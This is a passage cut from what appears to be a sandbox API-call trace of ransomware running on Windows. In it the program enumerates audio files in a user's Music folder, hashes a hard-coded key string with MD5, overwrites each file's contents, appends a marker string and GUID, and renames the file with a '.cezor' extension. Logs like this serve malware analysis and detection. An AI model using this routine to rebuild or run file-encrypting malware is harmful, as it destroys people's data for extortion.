lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.079] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.079] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.079] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0061.079] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.079] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.079] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.079] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.079] CloseHandle (hObject=0x5c4) returned 1 [0061.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.080] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0061.080] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.080] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\hd0rzFg.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\hd0rzfg.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\hd0rzFg.m4a.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\hd0rzfg.m4a.cezor")) returned 1 [0061.081] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.081] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.082] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.082] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c82bc0, ftCreationTime.dwHighDateTime=0x1d4c725, ftLastAccessTime.dwLowDateTime=0x130868f0, ftLastAccessTime.dwHighDateTime=0x1d4d189, ftLastWriteTime.dwLowDateTime=0x130868f0, ftLastWriteTime.dwHighDateTime=0x1d4d189, nFileSizeHigh=0x0, nFileSizeLow=0x10461, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j34KVbd 7j.mp3", cAlternateFileName="J34KVB~1.MP3")) returned 1 [0061.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.082] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.082] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.082] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\j34KVbd 7j.mp3") returned=".mp3" [0061.082] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\j34KVbd 7j.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\j34kvbd 7j.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.082] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=66657) returned 1 [0061.082] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.084] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1043b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.084] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.085] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.085] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.085] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.085] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x10461, lpOverlapped=0x0) returned 1 [0061.086] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.086] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.086] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.086] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.086] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.086] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.086] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.087] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.087] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.087] GetLastError () returned 0x0 [0061.087] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.087] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.087] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.087] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10460) returned 0x3132418 [0061.087] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.087] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.087] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x1045c, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x1045c, lpOverlapped=0x0) returned 1 [0061.087] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.087] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10461, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0061.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.088] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.088] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.088] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0061.088] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.088] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.088] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.088] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.088] CloseHandle (hObject=0x5c4) returned 1 [0061.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.089] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0061.089] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.089] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\j34KVbd 7j.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\j34kvbd 7j.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\j34KVbd 7j.mp3.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\j34kvbd 7j.mp3.cezor")) returned 1 [0061.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.090] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.090] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f03fe0, ftCreationTime.dwHighDateTime=0x1d4c720, ftLastAccessTime.dwLowDateTime=0x6aeba860, ftLastAccessTime.dwHighDateTime=0x1d4cd25, ftLastWriteTime.dwLowDateTime=0x6aeba860, ftLastWriteTime.dwHighDateTime=0x1d4cd25, nFileSizeHigh=0x0, nFileSizeLow=0x85b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KeEk_O9.mp3", cAlternateFileName="")) returned 1 [0061.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.091] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.091] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\KeEk_O9.mp3") returned=".mp3" [0061.091] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\KeEk_O9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\keek_o9.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.091] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=34226) returned 1 [0061.091] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.093] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x858c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.093] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.094] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.094] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x85b2, lpOverlapped=0x0) returned 1 [0061.094] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.094] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.095] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.095] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.095] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.095] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.095] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.095] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.095] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.095] GetLastError () returned 0x0 [0061.095] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.095] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.096] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x85b0) returned 0x3132418 [0061.096] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.096] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x85ad, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x85ad, lpOverlapped=0x0) returned 1 [0061.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.096] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.096] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0061.096] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.096] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0061.096] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.096] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.096] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.097] CloseHandle (hObject=0x5c4) returned 1 [0061.097] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.097] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0061.097] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.097] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\KeEk_O9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\keek_o9.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\KeEk_O9.mp3.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\keek_o9.mp3.cezor")) returned 1 [0061.098] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.098] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.099] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x638eae60, ftCreationTime.dwHighDateTime=0x1d4ca95, ftLastAccessTime.dwLowDateTime=0xab6f5480, ftLastAccessTime.dwHighDateTime=0x1d4d078, ftLastWriteTime.dwLowDateTime=0xab6f5480, ftLastWriteTime.dwHighDateTime=0x1d4d078, nFileSizeHigh=0x0, nFileSizeLow=0x18f4d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lGrnoXKuinB.m4a", cAlternateFileName="LGRNOX~1.M4A")) returned 1 [0061.099] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0061.099] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0061.099] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\lGrnoXKuinB.m4a") returned=".m4a" [0061.099] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\lGrnoXKuinB.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\lgrnoxkuinb.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.099] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=102221) returned 1 [0061.099] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.102] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18f27, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.102] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.102] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.102] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.103] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x18f4d, lpOverlapped=0x0) returned 1 [0061.103] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.103] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.103] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.103] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.103] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0061.104] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.104] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.104] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.104] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.104] GetLastError () returned 0x0 [0061.104] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.104] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0061.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.104] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18f50) returned 0x3132418 [0061.105] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.105] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x18f48, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x18f48, lpOverlapped=0x0) returned 1 [0061.105] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.105] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18f4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0061.105] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.105] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.105] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.106] CloseHandle (hObject=0x5c4) returned 1 [0061.107] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\lGrnoXKuinB.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\lgrnoxkuinb.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\lGrnoXKuinB.m4a.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\baxbpkiwkvgbe_6ilys\\lgrnoxkuinb.m4a.cezor")) returned 1 [0061.107] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.107] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.108] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.108] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97a5ecc0, ftCreationTime.dwHighDateTime=0x1d4cca9, ftLastAccessTime.dwLowDateTime=0x5d1632d0, ftLastAccessTime.dwHighDateTime=0x1d4c656, ftLastWriteTime.dwLowDateTime=0x5d1632d0, ftLastWriteTime.dwHighDateTime=0x1d4c656, 